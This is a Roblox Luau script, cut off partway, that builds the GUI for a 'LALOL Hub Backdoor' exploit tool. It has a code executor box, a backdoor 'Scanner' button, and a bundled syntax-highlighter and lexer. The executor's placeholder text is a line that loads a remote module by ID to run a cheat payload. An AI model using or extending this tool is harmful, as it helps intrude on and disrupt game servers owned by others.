--[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 33 | Scripts: 3 | Modules: 3 local G2L = {}; -- StarterGui.LALOL Hub Backdoor G2L["1"] = Instance.new("ScreenGui", game:GetService('CoreGui'):WaitForChild('RobloxGui')); G2L["1"]["Name"] = [[LALOL Hub Backdoor]]; G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; G2L["1"]["ResetOnSpawn"] = false; -- StarterGui.LALOL Hub Backdoor.Frame G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["Size"] = UDim2.new(0, 482, 0, 276); G2L["2"]["Position"] = UDim2.new(0.27320125699043274, 0, 0.3018597960472107, 0); -- StarterGui.LALOL Hub Backdoor.Frame.UIStroke G2L["3"] = Instance.new("UIStroke", G2L["2"]); G2L["3"]["Color"] = Color3.fromRGB(255, 255, 255); -- StarterGui.LALOL Hub Backdoor.Frame.UIStroke.UIGradient G2L["4"] = Instance.new("UIGradient", G2L["3"]); G2L["4"]["Rotation"] = 50; G2L["4"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 0, 255))}; -- StarterGui.LALOL Hub Backdoor.Frame.UICorner G2L["5"] = Instance.new("UICorner", G2L["2"]); -- StarterGui.LALOL Hub Backdoor.Frame.Executor G2L["6"] = Instance.new("Folder", G2L["2"]); G2L["6"]["Name"] = [[Executor]]; -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute G2L["7"] = Instance.new("Frame", G2L["6"]); G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["BackgroundTransparency"] = 1; G2L["7"]["Size"] = UDim2.new(0, 290, 0, 28); G2L["7"]["Position"] = UDim2.new(0.02169983461499214, 0, 0.8708109259605408, 0); G2L["7"]["Name"] = [[Execute]]; -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.Button G2L["8"] = Instance.new("TextButton", G2L["7"]); G2L["8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["8"]["TextSize"] = 22; G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["8"]["TextColor3"] = Color3.fromRGB(51, 215, 0); G2L["8"]["Size"] = UDim2.new(1, 0, 1, 0); G2L["8"]["Name"] = [[Button]]; G2L["8"]["Text"] = [[Execute]]; G2L["8"]["BackgroundTransparency"] = 1; -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.UICorner G2L["9"] = Instance.new("UICorner", G2L["7"]); -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.UIStroke G2L["a"] = Instance.new("UIStroke", G2L["7"]); G2L["a"]["Color"] = Color3.fromRGB(51, 215, 0); -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear G2L["b"] = Instance.new("Frame", G2L["6"]); G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["BackgroundTransparency"] = 1; G2L["b"]["Size"] = UDim2.new(0, 162, 0, 28); G2L["b"]["Position"] = UDim2.new(0.6400582790374756, 0, 0.8708109855651855, 0); G2L["b"]["Name"] = [[Clear]]; -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.Button G2L["c"] = Instance.new("TextButton", G2L["b"]); G2L["c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["c"]["TextSize"] = 22; G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["c"]["TextColor3"] = Color3.fromRGB(36, 236, 203); G2L["c"]["Size"] = UDim2.new(1, 0, 1, 0); G2L["c"]["Name"] = [[Button]]; G2L["c"]["Text"] = [[Clear]]; G2L["c"]["BackgroundTransparency"] = 1; -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.UICorner G2L["d"] = Instance.new("UICorner", G2L["b"]); -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.UIStroke G2L["e"] = Instance.new("UIStroke", G2L["b"]); G2L["e"]["Color"] = Color3.fromRGB(36, 236, 203); -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox G2L["f"] = Instance.new("Frame", G2L["6"]); G2L["f"]["BackgroundColor3"] = Color3.fromRGB(22, 22, 22); G2L["f"]["Size"] = UDim2.new(0, 462, 0, 163); G2L["f"]["Position"] = UDim2.new(0.01962907239794731, 0, 0.24310137331485748, 0); G2L["f"]["Name"] = [[ExecutorBox]]; -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.UICorner G2L["10"] = Instance.new("UICorner", G2L["f"]); -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox G2L["11"] = Instance.new("TextBox", G2L["f"]); G2L["11"]["TextSize"] = 14; G2L["11"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["11"]["TextWrapped"] = true; G2L["11"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["11"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["11"]["TextColor3"] = Color3.fromRGB(198, 119, 88); G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["11"]["MultiLine"] = true; G2L["11"]["BackgroundTransparency"] = 1; G2L["11"]["PlaceholderText"] = [[require(6666666).load("c00lkidd")]]; G2L["11"]["Size"] = UDim2.new(0, 448, 0, 150); G2L["11"]["Text"] = [[]]; G2L["11"]["Position"] = UDim2.new(0.015692640095949173, 0, 0.042270027101039886, 0); G2L["11"]["ClearTextOnFocus"] = false; -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight G2L["12"] = Instance.new("LocalScript", G2L["11"]); G2L["12"]["Name"] = [[Highlight]]; -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter G2L["13"] = Instance.new("ModuleScript", G2L["12"]); G2L["13"]["Name"] = [[Highlighter]]; -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter.lexer G2L["14"] = Instance.new("ModuleScript", G2L["13"]); G2L["14"]["Name"] = [[lexer]]; -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter.lexer.language G2L["15"] = Instance.new("ModuleScript", G2L["14"]); G2L["15"]["Name"] = [[language]]; -- StarterGui.LALOL Hub Backdoor.Frame.Scanner G2L["16"] = Instance.new("Frame", G2L["2"]); G2L["16"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["16"]["BackgroundTransparency"] = 1; G2L["16"]["Size"] = UDim2.new(0, 370, 0, 107); G2L["16"]["Position"] = UDim2.new(0.1166670024394989, 0, 0.30478382110595703, 0); G2L["16"]["Visible"] = false; G2L["16"]["Name"] = [[Scanner]]; -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UIStroke G2L["17"] = Instance.new("UIStroke", G2L["16"]); G2L["17"]["Color"] = Color3.fromRGB(255, 255, 255); -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UIStroke.UIGradient G2L["18"] = Instance.new("UIGradient", G2L["17"]); G2L["18"]["Rotation"] = 50; G2L["18"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 255, 108)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 231, 171))}; -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UICorner G2L["19"] = Instance.new("UICorner", G2L["16"]); -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button G2L["1a"] = Instance.new("TextButton", G2L["16"]); G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a"]["TextSize"] = 43; G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["1a"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["Size"] = UDim2.new(1, 0, 1, 0); G2L["1a"]["Name"] = [[Button]]; G2L["1a"]["Text"] = [[Start Scanning]]; G2L["1a"]["BackgroundTransparency"] = 1; -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button.UIGradient G2L["1b"] = Instance.new("UIGradient", G2L["1a"]); G2L["1b"]["Rotation"] = 50; G2L["1b"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 255, 108)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 231, 171))}; -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button.UIStroke G2L["1c"] = Instance.new("UIStroke", G2L["1a"]); G2L["1c"]["Color"] = Color3.fromRGB(255, 255, 255); -- StarterGui.LALOL Hub Backdoor.Frame.TextLabel G2L["1d"] = Instance.new("TextLabel", G2L["2"]); G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d"]["FontFace"] = Font.new([[rbxassetid://12187365977]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["1d"]["TextSize"] = 49; G2L["1d"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d"]["Size"] = UDim2.new(0, 460, 0, 50); G2L["1d"]["Text"] = [[LALOL Hub Backdoor]]; G2L["1d"]["BackgroundTransparency"] = 1; G2L["1d"]["Position"] = UDim2.new(0.02169983461499214, 0, 0.025362318381667137, 0); -- StarterGui.LALOL Hub Backdoor.Frame.TextLabel.UIStroke G2L["1e"] = Instance.new("UIStroke", G2L["1d"]); G2L["1e"]["Color"] = Color3.fromRGB(255, 255, 255); -- StarterGui.LALOL Hub Backdoor.Frame.TextLabel.UIStroke.UIGradient G2L["1f"] = Instance.new("UIGradient", G2L["1e"]); G2L["1f"]["Rotation"] = 50; G2L["1f"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 0, 255))}; -- StarterGui.LALOL Hub Backdoor.LocalScript G2L["20"] = Instance.new("LocalScript", G2L["1"]); -- StarterGui.LALOL Hub Backdoor.Dragify G2L["21"] = Instance.new("LocalScript", G2L["1"]); G2L["21"]["Name"] = [[Dragify]]; -- Require G2L wrapper local G2L_REQUIRE = require; local G2L_MODULES = {}; local function require(Module:ModuleScript) local ModuleState = G2L_MODULES[Module]; if ModuleState then if not ModuleState.Required then ModuleState.Required = true; ModuleState.Value = ModuleState.Closure(); end return ModuleState.Value; end; return G2L_REQUIRE(Module); end G2L_MODULES[G2L["13"]] = { Closure = function() local script = G2L["13"]; --[[ export type HighlighterColors = { [string]: Color3 } export type TextObject = TextLabel | TextBox export type HighlightProps = { textObject: TextObject, src: string?, forceUpdate: boolean?, lexer: Lexer?, customLang: { [string]: string }? } export type Lexer = { scan: (src: string) -> () -> (string, string), navigator: () -> any, finished: boolean?, } export type Highlighter = { defaultLexer: Lexer, setTokenColors: (colors: HighlighterColors?) -> (), highlight: (props: HighlightProps) -> (() -> ())?, refresh: () -> (), } export type ObjectData = { Text: string, Labels: { TextLabel }, Lines: { string }, Lexer: Lexer?, CustomLang: { [string]: string }?, } --]] local function SanitizeRichText(s: string): string return string.gsub( string.gsub(string.gsub(string.gsub(string.gsub(s, "&", "&"), "<", "<"), ">", ">"), '"', """), "'", "'" ) end local function SanitizeTabs(s: string): string return string.gsub(s, "\t", " ") end local function SanitizeControl(s: string): string return string.gsub(s, "[\0\1\2\3\4\5\6\7\8\11\12\13\14\15\16\17\18\19\20\21\22\23\24\25\26\27\28\29\30\31]+", "") end local TokenColors: HighlighterColors = { ["background"] = Color3.fromRGB(47, 47, 47), ["iden"] = Color3.fromRGB(234, 234, 234), ["keyword"] = Color3.fromRGB(215, 174, 255), ["builtin"] = Color3.fromRGB(131, 206, 255), ["string"] = Color3.fromRGB(196, 255, 193), ["number"] = Color3.fromRGB(255, 125, 125), ["comment"] = Color3.fromRGB(140, 140, 155), ["operator"] = Color3.fromRGB(255, 239, 148), ["custom"] = Color3.fromRGB(119, 122, 255), } local ColorFormatter: { [Color3]: string } = {} local LastData: { [TextObject]: ObjectData } = {} local Cleanups: { [TextObject]: () -> () } = {} local Highlighter = { defaultLexer = require(script.lexer), } function Highlighter.highlight(props: HighlightProps) -- Gather props local textObject = props.textObject local src = SanitizeTabs(SanitizeControl(props.src or textObject.Text)) local lexer = props.lexer or Highlighter.defaultLexer local customLang = props.customLang local forceUpdate = props.forceUpdate -- Avoid updating when unnecessary local data = LastData[textObject] if data == nil then data = { Text = "", Labels = {}, Lines = {}, Lexer = lexer, CustomLang = customLang, } LastData[textObject] = data elseif forceUpdate ~= true and data.Text == src then return end local lineLabels = data.Labels local previousLines = data.Lines local lines = string.split(src, "\n") data.Lines = lines data.Text = src data.Lexer = lexer data.CustomLang = customLang -- Ensure valid object properties textObject.RichText = false textObject.Text = src textObject.TextXAlignment = Enum.TextXAlignment.Left textObject.TextYAlignment = Enum.TextYAlignment.Top textObject.BackgroundColor3 = TokenColors.background textObject.TextColor3 = TokenColors.iden textObject.TextTransparency = 0.5 -- Build the highlight labels local lineFolder = textObject:FindFirstChild("SyntaxHighlights") if lineFolder == nil then local newLineFolder = Instance.new("Folder") newLineFolder.Name = "SyntaxHighlights" newLineFolder.Parent = textObject lineFolder = newLineFolder end -- Add a cleanup handler for this textObject local cleanup = Cleanups[textObject] if not cleanup then local connections: { RBXScriptConnection } = {} local function newCleanup() for _, label in ipairs(lineLabels) do label:Destroy() end table.clear(lineLabels) lineLabels = nil LastData[textObject] = nil Cleanups[textObject] = nil for _, connection in connections do connection:Disconnect() end table.clear(connections) connections = nil end Cleanups[textObject] = newCleanup cleanup = newCleanup table.insert( connections, textObject.AncestryChanged:Connect(function() if textObject.Parent then return end cleanup() end) ) table.insert( connections, textObject:GetPropertyChangedSignal("TextBounds"):Connect(function() Highlighter.highlight({ textObject = textObject, forceUpdate = true, lexer = lexer, customLang = customLang, }) end) ) table.insert( connections, textObject:GetPropertyChangedSignal("Text"):Connect(function() Highlighter.highlight({ textObject = textObject, lexer = lexer, customLang = customLang, }) end) ) table.insert( connections, textObject:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() Highlighter.highlight({ textObject = textObject, forceUpdate = true, lexer = lexer, customLang = customLang, }) end) ) end -- Shortcut empty labels if src == "" then for l=1, #lineLabels do if lineLabels[l].Text == "" then continue end lineLabels[l].Text = "" end return cleanup end -- Wait for TextBounds to be non-NaN and non-zero because Roblox local textBounds = textObject.TextBounds while (textBounds.Y ~= textBounds.Y) or (textBounds.Y < 1) do task.wait() textBounds = textObject.TextBounds end if LastData[textObject] == nil then -- Got cleaned up while we were waiting return cleanup end local numLines = #lines local textHeight = textBounds.Y / numLines * textObject.LineHeight local richText, index, lineNumber = table.create(5), 0, 1 for token: string, content: string in lexer.scan(src) do local Color = if customLang and customLang[content] then TokenColors["custom"] else TokenColors[token] or TokenColors["iden"] local tokenLines = string.split(SanitizeRichText(content), "\n") for l, line in ipairs(tokenLines) do -- Find line label local lineLabel = lineLabels[lineNumber] if not lineLabel then local newLabel = Instance.new("TextLabel") newLabel.Name = "Line_" .. lineNumber newLabel.RichText = true newLabel.BackgroundTransparency = 1 newLabel.Text = "" newLabel.TextXAlignment = Enum.TextXAlignment.Left newLabel.TextYAlignment = Enum.TextYAlignment.Top newLabel.Parent = lineFolder newLabel.TextWrapped=true lineLabels[lineNumber] = newLabel lineLabel = newLabel end -- Align line label lineLabel.TextColor3 = TokenColors["iden"] lineLabel.Font = textObject.Font lineLabel.TextSize = textObject.TextSize lineLabel.Size = UDim2.new(1, 0, 0, math.ceil(textHeight)) lineLabel.Position = UDim2.fromScale(0, textHeight * (lineNumber - 1) / textObject.AbsoluteSize.Y) -- If multiline token, then set line & move to next if l > 1 then if forceUpdate or lines[lineNumber] ~= previousLines[lineNumber] then -- Set line lineLabels[lineNumber].Text = table.concat(richText) end -- Move to next line lineNumber += 1 index = 0 table.clear(richText) end -- If changed, add token to line if forceUpdate or lines[lineNumber] ~= previousLines[lineNumber] then index += 1 -- Only add RichText tags when the color is non-default and the characters are non-whitespace if Color ~= TokenColors["iden"] and string.find(line, "[%S%C]") then richText[index] = string.format(ColorFormatter[Color], line) else richText[index] = line end end end end -- Set final line if richText[1] and lineLabels[lineNumber] then lineLabels[lineNumber].Text = table.concat(richText) end -- Clear unused line labels for l=lineNumber+1, #lineLabels do if lineLabels[l].Text == "" then continue end lineLabels[l].Text = "" end return cleanup end function Highlighter.refresh(): () -- Rehighlight existing labels using latest colors for textObject, data in pairs(LastData) do for _, lineLabel in ipairs(data.Labels) do lineLabel.TextColor3 = TokenColors["iden"] end Highlighter.highlight({ textObject = textObject, forceUpdate = true, src = data.Text, lexer = data.Lexer, customLang = data.CustomLang, }) end end function Highlighter.setTokenColors(colors: HighlighterColors) for token, color in colors do TokenColors[token] = color ColorFormatter[color] = string.format( '', color.R * 255, color.G * 255, color.B * 255 ) .. "%s" end Highlighter.refresh() end Highlighter.setTokenColors(TokenColors) return Highlighter :: Highlighter end; }; G2L_MODULES[G2L["14"]] = { Closure = function() local script = G2L["14"]; --[=[ Lexical scanner for creating a sequence of tokens from Lua source code. This is a heavily modified and Roblox-optimized version of the original Penlight Lexer module: https://github.com/stevedonovan/Penlight Authors: stevedonovan ----------- Original Penlight lexer author ryanjmulder ------------- Penlight lexer contributer mpeterv --------------------- Penlight lexer contributer Tieske ----------------------- Penlight lexer contributer boatbomber --------------- Roblox port, added builtin token, added patterns for incomplete syntax, bug fixes, behavior changes, token optimization, thread optimization Added lexer.navigator() for non-sequential reads Sleitnick ----------------- Roblox optimizations howmanysmall ----------- Lua + Roblox optimizations List of possible tokens: - iden - keyword - builtin - string - number - comment - operator --]=] local lexer = {} local Prefix, Suffix, Cleaner = "^[%c%s]*", "[%c%s]*", "[%c%s]+" local UNICODE = "[%z\x01-\x7F\xC2-\xF4][\x80-\xBF]+" local NUMBER_A = "0[xX][%da-fA-F_]+" local NUMBER_B = "0[bB][01_]+" local NUMBER_C = "%d+%.?%d*[eE][%+%-]?%d+" local NUMBER_D = "%d+[%._]?[%d_eE]*" local OPERATORS = "[:;<>/~%*%(%)%-={},%.#%^%+%%]+" local BRACKETS = "[%[%]]+" -- needs to be separate pattern from other operators or it'll mess up multiline strings local IDEN = "[%a_][%w_]*" local STRING_EMPTY = "(['\"])%1" --Empty String local STRING_PLAIN = "(['\"])[^\n]-([^\\]%1)" --TODO: Handle escaping escapes local STRING_INTER = "`[^\n]-`" local STRING_INCOMP_A = "(['\"]).-\n" --Incompleted String with next line local STRING_INCOMP_B = "(['\"])[^\n]*" --Incompleted String without next line local STRING_MULTI = "%[(=*)%[.-%]%1%]" --Multiline-String local STRING_MULTI_INCOMP = "%[=*%[.-.*" --Incompleted Multiline-String local COMMENT_MULTI = "%-%-%[(=*)%[.-%]%1%]" --Completed Multiline-Comment local COMMENT_MULTI_INCOMP = "%-%-%[=*%[.-.*" --Incompleted Multiline-Comment local COMMENT_PLAIN = "%-%-.-\n" --Completed Singleline-Comment local COMMENT_INCOMP = "%-%-.*" --Incompleted Singleline-Comment -- local TYPED_VAR = ":%s*([%w%?%| \t]+%s*)" --Typed variable, parameter, function local lang = require(script.language) local lua_keyword = lang.keyword local lua_builtin = lang.builtin local lua_libraries = lang.libraries lexer.language = lang local lua_matches = { -- Indentifiers { Prefix .. IDEN .. Suffix, "var" }, -- Numbers { Prefix .. NUMBER_A .. Suffix, "number" }, { Prefix .. NUMBER_B .. Suffix, "number" }, { Prefix .. NUMBER_C .. Suffix, "number" }, { Prefix .. NUMBER_D .. Suffix, "number" }, -- Strings { Prefix .. STRING_EMPTY .. Suffix, "string" }, { Prefix .. STRING_PLAIN .. Suffix, "string" }, { Prefix .. STRING_INCOMP_A .. Suffix, "string" }, { Prefix .. STRING_INCOMP_B .. Suffix, "string" }, { Prefix .. STRING_MULTI .. Suffix, "string" }, { Prefix .. STRING_MULTI_INCOMP .. Suffix, "string" }, { Prefix .. STRING_INTER .. Suffix, "string_inter" }, -- Comments { Prefix .. COMMENT_MULTI .. Suffix, "comment" }, { Prefix .. COMMENT_MULTI_INCOMP .. Suffix, "comment" }, { Prefix .. COMMENT_PLAIN .. Suffix, "comment" }, { Prefix .. COMMENT_INCOMP .. Suffix, "comment" }, -- Operators { Prefix .. OPERATORS .. Suffix, "operator" }, { Prefix .. BRACKETS .. Suffix, "operator" }, -- Unicode { Prefix .. UNICODE .. Suffix, "iden" }, -- Unknown { "^.", "iden" }, } -- To reduce the amount of table indexing during lexing, we separate the matches now local PATTERNS, TOKENS = {}, {} for i, m in lua_matches do PATTERNS[i] = m[1] TOKENS[i] = m[2] end --- Create a plain token iterator from a string. -- @tparam string s a string. function lexer.scan(s: string) local index = 1 local size = #s local previousContent1, previousContent2, previousContent3, previousToken = "", "", "", "" local thread = coroutine.create(function() while index <= size do local matched = false for tokenType, pattern in ipairs(PATTERNS) do -- Find match local start, finish = string.find(s, pattern, index) if start == nil then continue end -- Move head index = finish + 1 matched = true -- Gather results local content = string.sub(s, start, finish) local rawToken = TOKENS[tokenType] local processedToken = rawToken -- Process token if rawToken == "var" then -- Since we merge spaces into the tok, we need to remove them -- in order to check the actual word it contains local cleanContent = string.gsub(content, Cleaner, "") if lua_keyword[cleanContent] then processedToken = "keyword" elseif lua_builtin[cleanContent] then processedToken = "builtin" elseif string.find(previousContent1, "%.[%s%c]*$") and previousToken ~= "comment" then -- The previous was a . so we need to special case indexing things local parent = string.gsub(previousContent2, Cleaner, "") local lib = lua_libraries[parent] if lib and lib[cleanContent] and not string.find(previousContent3, "%.[%s%c]*$") then -- Indexing a builtin lib with existing item, treat as a builtin processedToken = "builtin" else -- Indexing a non builtin, can't be treated as a keyword/builtin processedToken = "iden" end -- print("indexing",parent,"with",cleanTok,"as",t2) else processedToken = "iden" end elseif rawToken == "string_inter" then if not string.find(content, "[^\\]{") then -- This inter string doesnt actually have any inters processedToken = "string" else -- We're gonna do our own yields, so the main loop won't need to -- Our yields will be a mix of string and whatever is inside the inters processedToken = nil local isString = true local subIndex = 1 local subSize = #content while subIndex <= subSize do -- Find next brace local subStart, subFinish = string.find(content, "^.-[^\\][{}]", subIndex) if subStart == nil then -- No more braces, all string coroutine.yield("string", string.sub(content, subIndex)) break end if isString then -- We are currently a string subIndex = subFinish + 1 coroutine.yield("string", string.sub(content, subStart, subFinish)) -- This brace opens code isString = false else -- We are currently in code subIndex = subFinish local subContent = string.sub(content, subStart, subFinish-1) for innerToken, innerContent in lexer.scan(subContent) do coroutine.yield(innerToken, innerContent) end -- This brace opens string/closes code isString = true end end end end -- Record last 3 tokens for the indexing context check previousContent3 = previousContent2 previousContent2 = previousContent1 previousContent1 = content previousToken = processedToken or rawToken if processedToken then coroutine.yield(processedToken, content) end break end -- No matches found if not matched then return end end -- Completed the scan return end) return function() if coroutine.status(thread) == "dead" then return end local success, token, content = coroutine.resume(thread) if success and token then return token, content end return end end function lexer.navigator() local nav = { Source = "", TokenCache = table.create(50), _RealIndex = 0, _UserIndex = 0, _ScanThread = nil, } function nav:Destroy() self.Source = nil self._RealIndex = nil self._UserIndex = nil self.TokenCache = nil self._ScanThread = nil end function nav:SetSource(SourceString) self.Source = SourceString self._RealIndex = 0 self._UserIndex = 0 table.clear(self.TokenCache) self._ScanThread = coroutine.create(function() for Token, Src in lexer.scan(self.Source) do self._RealIndex += 1 self.TokenCache[self._RealIndex] = { Token, Src } coroutine.yield(Token, Src) end end) end function nav.Next() nav._UserIndex += 1 if nav._RealIndex >= nav._UserIndex then -- Already scanned, return cached return table.unpack(nav.TokenCache[nav._UserIndex]) else if coroutine.status(nav._ScanThread) == "dead" then -- Scan thread dead return else local success, token, src = coroutine.resume(nav._ScanThread) if success and token then -- Scanned new data return token, src else -- Lex completed return end end end end function nav.Peek(PeekAmount) local GoalIndex = nav._UserIndex + PeekAmount if nav._RealIndex >= GoalIndex then -- Already scanned, return cached if GoalIndex > 0 then return table.unpack(nav.TokenCache[GoalIndex]) else -- Invalid peek return end else if coroutine.status(nav._ScanThread) == "dead" then -- Scan thread dead return else local IterationsAway = GoalIndex - nav._RealIndex local success, token, src = nil, nil, nil for _ = 1, IterationsAway do success, token, src = coroutine.resume(nav._ScanThread) if not (success or token) then -- Lex completed break end end return token, src end end end return nav end return lexer end; }; G2L_MODULES[G2L["15"]] = { Closure = function() local script = G2L["15"]; local language = { keyword = { ["and"] = "keyword", ["break"] = "keyword", ["continue"] = "keyword", ["do"] = "keyword", ["else"] = "keyword", ["elseif"] = "keyword", ["end"] = "keyword", ["export"] = "keyword", ["false"] = "keyword", ["for"] = "keyword", ["function"] = "keyword", ["if"] = "keyword", ["in"] = "keyword", ["local"] = "keyword", ["nil"] = "keyword", ["not"] = "keyword", ["or"] = "keyword", ["repeat"] = "keyword", ["return"] = "keyword", ["self"] = "keyword", ["then"] = "keyword", ["true"] = "keyword", ["type"] = "keyword", ["typeof"] = "keyword", ["until"] = "keyword", ["while"] = "keyword", }, builtin = { -- Luau Functions ["assert"] = "function", ["error"] = "function", ["getfenv"] = "function", ["getmetatable"] = "function", ["ipairs"] = "function", ["loadstring"] = "function", ["newproxy"] = "function", ["next"] = "function", ["pairs"] = "function", ["pcall"] = "function", ["print"] = "function", ["rawequal"] = "function", ["rawget"] = "function", ["rawlen"] = "function", ["rawset"] = "function", ["select"] = "function", ["setfenv"] = "function", ["setmetatable"] = "function", ["tonumber"] = "function", ["tostring"] = "function", ["unpack"] = "function", ["xpcall"] = "function", -- Luau Functions (Deprecated) ["collectgarbage"] = "function", -- Luau Variables ["_G"] = "table", ["_VERSION"] = "string", -- Luau Tables ["bit32"] = "table", ["coroutine"] = "table", ["debug"] = "table", ["math"] = "table", ["os"] = "table", ["string"] = "table", ["table"] = "table", ["utf8"] = "table", -- Roblox Functions ["DebuggerManager"] = "function", ["delay"] = "function", ["gcinfo"] = "function", ["PluginManager"] = "function", ["require"] = "function", ["settings"] = "function", ["spawn"] = "function", ["tick"] = "function", ["time"] = "function", ["UserSettings"] = "function", ["wait"] = "function", ["warn"] = "function", -- Roblox Functions (Deprecated) ["Delay"] = "function", ["ElapsedTime"] = "function", ["elapsedTime"] = "function", ["printidentity"] = "function", ["Spawn"] = "function", ["Stats"] = "function", ["stats"] = "function", ["Version"] = "function", ["version"] = "function", ["Wait"] = "function", ["ypcall"] = "function", -- Roblox Variables ["game"] = "Instance", ["plugin"] = "Instance", ["script"] = "Instance", ["shared"] = "Instance", ["workspace"] = "Instance", -- Roblox Variables (Deprecated) ["Game"] = "Instance", ["Workspace"] = "Instance", -- Roblox Tables ["Axes"] = "table", ["BrickColor"] = "table", ["CatalogSearchParams"] = "table", ["CFrame"] = "table", ["Color3"] = "table", ["ColorSequence"] = "table", ["ColorSequenceKeypoint"] = "table", ["DateTime"] = "table", ["DockWidgetPluginGuiInfo"] = "table", ["Enum"] = "table", ["Faces"] = "table", ["FloatCurveKey"] = "table", ["Font"] = "table", ["Instance"] = "table", ["NumberRange"] = "table", ["NumberSequence"] = "table", ["NumberSequenceKeypoint"] = "table", ["OverlapParams"] = "table", ["PathWaypoint"] = "table", ["PhysicalProperties"] = "table", ["Random"] = "table", ["Ray"] = "table", ["RaycastParams"] = "table", ["Rect"] = "table", ["Region3"] = "table", ["Region3int16"] = "table", ["RotationCurveKey"] = "table", ["task"] = "table", ["TweenInfo"] = "table", ["UDim"] = "table", ["UDim2"] = "table", ["Vector2"] = "table", ["Vector2int16"] = "table", ["Vector3"] = "table", ["Vector3int16"] = "table", }, libraries = { -- Luau Libraries bit32 = { arshift = "function", band = "function", bnot = "function", bor = "function", btest = "function", bxor = "function", countlz = "function", countrz = "function", extract = "function", lrotate = "function", lshift = "function", replace = "function", rrotate = "function", rshift = "function", }, coroutine = { close = "function", create = "function", isyieldable = "function", resume = "function", running = "function", status = "function", wrap = "function", yield = "function", }, debug = { dumpheap = "function", info = "function", loadmodule = "function", profilebegin = "function", profileend = "function", resetmemorycategory = "function", setmemorycategory = "function", traceback = "function", }, math = { abs = "function", acos = "function", asin = "function", atan2 = "function", atan = "function", ceil = "function", clamp = "function", cos = "function", cosh = "function", deg = "function", exp = "function", floor = "function", fmod = "function", frexp = "function", ldexp = "function", log10 = "function", log = "function", max = "function", min = "function", modf = "function", noise = "function", pow = "function", rad = "function", random = "function", randomseed = "function", round = "function", sign = "function", sin = "function", sinh = "function", sqrt = "function", tan = "function", tanh = "function", huge = "number", pi = "number", }, os = { clock = "function", date = "function", difftime = "function", time = "function", }, string = { byte = "function", char = "function", find = "function", format = "function", gmatch = "function", gsub = "function", len = "function", lower = "function", match = "function", pack = "function", packsize = "function", rep = "function", reverse = "function", split = "function", sub = "function", unpack = "function", upper = "function", }, table = { clear = "function", clone = "function", concat = "function", create = "function", find = "function", foreach = "function", foreachi = "function", freeze = "function", getn = "function", insert = "function", isfrozen = "function", maxn = "function", move = "function", pack = "function", remove = "function", sort = "function", unpack = "function", }, utf8 = { char = "function", codepoint = "function", codes = "function", graphemes = "function", len = "function", nfcnormalize = "function", nfdnormalize = "function", offset = 